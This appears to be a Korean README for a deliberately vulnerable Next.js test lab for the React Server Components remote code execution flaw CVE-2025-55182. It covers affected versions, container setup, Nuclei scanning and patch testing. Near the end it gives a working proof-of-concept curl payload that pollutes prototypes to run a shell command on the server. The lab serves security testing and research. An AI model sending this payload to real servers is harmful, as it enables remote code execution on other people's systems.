
CVE-2025-55182를 위한 컨테이너화된 테스트 환경입니다. 이는 React Server Components의 심각한 (CVSS 10.0) 원격 코드 실행 취약점입니다.
CVE-2025-55182(치명적 CVSS 10.0) React Server Components 원격 코드 실행 취약점을 위한 컨테이너화된 테스트 환경입니다.
이 환경은 의도적으로 취약하게 설계되었으며, 다음 목적으로만 사용해야 합니다:
다음과 같은 행위는 금지합니다:
React 패키지:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0Next.js:
React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
# 취약 환경 빌드 및 시작
podman compose up --build -d
# 실행 확인
curl http://localhost:3000/api/status
# 로그 확인
podman logs -f react2shell-vuln
# 중지
podman compose down
# 취약 환경 빌드 및 시작
docker-compose up --build -d
# http://localhost:3000에서 애플리케이션 접근
.
├── README.md # 이 파일
├── Dockerfile # 컨테이너 빌드 지침
├── Dockerfile.dev # 핫 리로드 기능이 있는 개발 컨테이너
├── docker-compose.yml # Docker/Podman Compose 설정
├── CVE-2025-55182.yaml # Nuclei 스캐너 템플릿
├── scan.sh # 범용 Nuclei 스캐너 스크립트
├── scan-results/ # 스캔 출력 디렉터리
└── vulnerable-app/ # 취약한 Next.js 애플리케이션
├── package.json # 종속성 (취약한 버전)
├── next.config.js # Next.js 설정
├── tsconfig.json # TypeScript 설정
└── app/ # App Router 페이지 및 컴포넌트
├── layout.tsx # 루트 레이아웃
├── page.tsx # Server Components가 포함된 메인 페이지
├── globals.css # 스타일
├── actions.ts # 서버 액션
├── api/status/ # 상태 API 엔드포인트
└── components/ # React 컴포넌트
템플릿이 없으면 공식 nuclei-templates 저장소에서 다운로드하세요:
curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml
포함된 scan.sh는 Docker와 Podman 모두에서 작동하는 범용 Nuclei 컨테이너 스캐너입니다.
# 로컬 취약 앱 스캔
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v
# 임의 대상 스캔
./scan.sh -u https://example.com -t CVE-2025-55182.yaml
# 모든 Nuclei 템플릿으로 스캔
./scan.sh -u https://example.com
# 파일에서 여러 대상 스캔
./scan.sh -l targets.txt -t CVE-2025-55182.yaml
# 심각도별 필터링
./scan.sh -u https://example.com -s critical,high
# JSON 출력
./scan.sh -u https://example.com -t CVE-2025-55182.yaml -j
podman run --rm \
-v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
docker.io/projectdiscovery/nuclei:latest \
-t /templates/CVE-2025-55182.yaml \
-u "http://host.docker.internal:3000" \
-v
컨테이너가 실행 중이면:
http://localhost:3000에서 애플리케이션에 접속합니다.http://localhost:3000/api/status참고: 이 취약점은 RSC 프로토콜의 안전하지 않은 역직렬화와 관련됩니다. Nuclei 템플릿은 이 특정 공격 벡터를 테스트합니다.
패치된 버전을 테스트하려면 vulnerable-app/package.json을 수정하세요:
{
"dependencies": {
"next": "15.5.7",
"react": "^19.1.2",
"react-dom": "^19.1.2"
}
}
그런 다음 다시 빌드하세요:
# Podman
podman compose down
podman compose up --build -d
# Docker
docker-compose down
docker-compose up --build
이 테스트 환경은 교육 및 보안 연구 목적으로만 제공됩니다. 관리자는 이 소프트웨어의 오용에 대해 책임을 지지 않습니다. 보안 취약점을 테스트하기 전에 항상 적절한 승인을 받으십시오.
curl -X POST http://localhost:3000 \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
-H "X-Nextjs-Request-Id: test123" \
--data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
-i 2>&1 | grep -i "x-action-redirect"
| 옵션 | 설명 |
|---|
-u, --url <url> | 스캔할 단일 대상 URL |
-l, --list <file> | 대상 URL 목록이 있는 파일 |
-t, --template <file> | 사용자 정의 템플릿 파일 또는 디렉터리 |
-o, --output <dir> | 출력 디렉터리 (기본값: ./scan-results) |
-s, --severity <level> | 필터: info, low, medium, high, critical |
-r, --rate-limit <n> | 초당 최대 요청 수 |
-j, --json | JSON 형식으로 결과 출력 |
-v, --verbose | 자세한 출력 |
-h, --help | 도움말 메시지 표시 |